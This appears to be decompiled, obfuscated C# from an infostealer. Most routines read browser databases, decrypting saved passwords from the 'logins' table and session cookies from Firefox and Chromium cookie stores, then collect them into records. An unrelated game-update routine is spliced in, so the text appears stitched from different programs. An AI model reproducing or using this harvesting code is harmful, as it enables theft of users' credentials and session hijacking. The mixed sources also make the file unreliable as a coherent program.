// Token: 0x060004BB RID: 1211 RVA: 0x00010908 File Offset: 0x0000EB08 public static List <GClass32> smethod_0(string datapath, string browser) { List <GClass32> list = new List <GClass32>(); GClass33 gclass = null; if (!File.Exists(datapath)) { return(list); } List <GClass32> result; try { gclass = new GClass33(datapath); goto IL_24; } catch (Exception) { result = list; } return(result); IL_24: if (!gclass.method_9("logins")) { return(list); } int num = gclass.method_2(); for (int i = 0; i < num; i++) { try { string text = gclass.method_5(i, "origin_url"); string text2 = gclass.method_5(i, "username_value"); string text3 = GClass29.smethod_2(gclass.method_5(i, "password_value")); if (!string.IsNullOrEmpty(text) && !string.IsNullOrEmpty(text2) && text3 != null) { list.Add(new GClass32 { URL = text, Username = text2, Password = text3, Application = browser }); } } catch (Exception) { } } return(list); }
// Token: 0x0600045A RID: 1114 RVA: 0x00010210 File Offset: 0x0000E410 public static List <FirefoxCookie> GetSavedCookies() { List <FirefoxCookie> list = new List <FirefoxCookie>(); GClass33 gclass = new GClass33(Firefox.firefoxCookieFile.FullName); if (!gclass.method_9("moz_cookies")) { throw new Exception("Could not read cookie table"); } int num = gclass.method_2(); for (int i = 0; i < num; i++) { try { string host = gclass.method_5(i, "host"); string name = gclass.method_5(i, "name"); string value = gclass.method_5(i, "value"); string path = gclass.method_5(i, "path"); bool secure = !(gclass.method_5(i, "isSecure") == "0"); bool httpOnly = !(gclass.method_5(i, "isSecure") == "0"); long num2 = long.Parse(gclass.method_5(i, "expiry")); long num3 = Firefox.ToUnixTime(DateTime.Now); DateTime expiresUTC = Firefox.FromUnixTime(num2); bool expired = num3 > num2; list.Add(new FirefoxCookie { Host = host, ExpiresUTC = expiresUTC, Expired = expired, Name = name, Value = value, Path = path, Secure = secure, HttpOnly = httpOnly }); } catch (Exception) { return(list); } } return(list); }
private void PrepareUpdateIfNecessary(bool directDownload) { if (!(this.gclass30_0 is GClass32) || directDownload) { return; } GClass32 gclass300 = (GClass32)this.gclass30_0; if (!gclass300.Boolean_3 || GClass3.smethod_3((GClass30)gclass300.Updates[0])) { return; } bool flag = false; try { GClass33 gclass33 = gclass300.Updates.Last <GClass33>((Func <GClass33, bool>)(x => x.GEnum2_0 == GEnum2.const_2)); if (!Directory.Exists(this.UpdatePath)) { Directory.CreateDirectory(this.UpdatePath); } else if (this.UpdateIsInstalled() && System.IO.File.Exists(this.UpdateVersionFilePath)) { flag = System.IO.File.ReadAllText(this.UpdateVersionFilePath) == gclass33.Version; } if (flag || directDownload) { return; } gclass33.method_3(this.UpdatePath, false); FileSystem.RenameFile(Path.Combine(this.UpdatePath, "game.cxi"), "00000000.app"); System.IO.File.WriteAllText(this.UpdateVersionFilePath, gclass33.Version); } catch { } }
// Token: 0x060004BC RID: 1212 RVA: 0x00010A00 File Offset: 0x0000EC00 public static List <GClass29.GClass30> smethod_1(string dataPath, string browser) { List <GClass29.GClass30> list = new List <GClass29.GClass30>(); GClass33 gclass = null; if (!File.Exists(dataPath)) { return(list); } List <GClass29.GClass30> result; try { gclass = new GClass33(dataPath); goto IL_26; } catch (Exception) { result = list; } return(result); IL_26: if (!gclass.method_9("cookies")) { return(list); } int num = gclass.method_2(); for (int i = 0; i < num; i++) { try { string text = gclass.method_5(i, "host_key"); string text2 = gclass.method_5(i, "name"); string value = GClass29.smethod_2(gclass.method_5(i, "encrypted_value")); string path = gclass.method_5(i, "path"); string expiresUTC = gclass.method_5(i, "expires_utc"); string lastAccessUTC = gclass.method_5(i, "last_access_utc"); bool secure = gclass.method_5(i, "secure") == "1"; bool httpOnly = gclass.method_5(i, "httponly") == "1"; bool expired = gclass.method_5(i, "has_expired") == "1"; bool persistent = gclass.method_5(i, "persistent") == "1"; bool priority = gclass.method_5(i, "priority") == "1"; if (!string.IsNullOrEmpty(text) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(value)) { list.Add(new GClass29.GClass30 { HostKey = text, Name = text2, Value = value, Path = path, ExpiresUTC = expiresUTC, LastAccessUTC = lastAccessUTC, Secure = secure, HttpOnly = httpOnly, Expired = expired, Persistent = persistent, Priority = priority, Browser = browser }); } } catch (Exception) { } } return(list); }